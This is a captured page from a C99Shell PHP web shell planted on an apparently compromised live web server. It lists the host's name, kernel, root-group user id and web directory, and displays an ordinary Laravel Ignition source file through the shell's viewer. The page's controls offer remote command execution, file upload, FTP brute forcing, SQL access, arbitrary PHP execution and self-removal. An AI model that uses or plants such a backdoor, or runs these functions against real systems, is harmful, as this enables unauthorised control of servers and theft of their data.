!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/wataxi.picotech.app/public_html/vendor/facade/ignition/src/SolutionProviders/   drwxr-xr-x
Free 28.8 GB of 117.98 GB (24.41%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     SolutionProviderRepository.php (2.95 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Facade\Ignition\SolutionProviders;

use 
Facade\IgnitionContracts\HasSolutionsForThrowable;
use 
Facade\IgnitionContracts\ProvidesSolution;
use 
Facade\IgnitionContracts\Solution;
use 
Facade\IgnitionContracts\SolutionProviderRepository as SolutionProviderRepositoryContract;
use 
Illuminate\Support\Collection;
use 
Throwable;

class 
SolutionProviderRepository implements SolutionProviderRepositoryContract
{
    
/** @var \Illuminate\Support\Collection */
    
protected $solutionProviders;

    public function 
__construct(array $solutionProviders = [])
    {
        
$this->solutionProviders Collection::make($solutionProviders);
    }

    public function 
registerSolutionProvider(string $solutionProviderClass): SolutionProviderRepositoryContract
    
{
        
$this->solutionProviders->push($solutionProviderClass);

        return 
$this;
    }

    public function 
registerSolutionProviders(array $solutionProviderClasses): SolutionProviderRepositoryContract
    
{
        
$this->solutionProviders $this->solutionProviders->merge($solutionProviderClasses);

        return 
$this;
    }

    public function 
getSolutionsForThrowable(Throwable $throwable): array
    {
        
$solutions = [];

        if (
$throwable instanceof Solution) {
            
$solutions[] = $throwable;
        }

        if (
$throwable instanceof ProvidesSolution) {
            
$solutions[] = $throwable->getSolution();
        }

        
$providedSolutions $this->solutionProviders
            
->filter(function (string $solutionClass) {
                if (! 
in_array(HasSolutionsForThrowable::class, class_implements($solutionClass))) {
                    return 
false;
                }

                if (
in_array($solutionClassconfig('ignition.ignored_solution_providers', []))) {
                    return 
false;
                }

                return 
true;
            })
            ->
map(function (string $solutionClass) {
                return 
app($solutionClass);
            })
            ->
filter(function (HasSolutionsForThrowable $solutionProvider) use ($throwable) {
                try {
                    return 
$solutionProvider->canSolve($throwable);
                } catch (
Throwable $e) {
                    return 
false;
                }
            })
            ->
map(function (HasSolutionsForThrowable $solutionProvider) use ($throwable) {
                try {
                    return 
$solutionProvider->getSolutions($throwable);
                } catch (
Throwable $e) {
                    return [];
                }
            })
            ->
flatten()
            ->
toArray();

        return 
array_merge($solutions$providedSolutions);
    }

    public function 
getSolutionForClass(string $solutionClass): ?Solution
    
{
        if (! 
class_exists($solutionClass)) {
            return 
null;
        }

        if (! 
in_array(Solution::class, class_implements($solutionClass))) {
            return 
null;
        }

        return 
app($solutionClass);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0048 ]--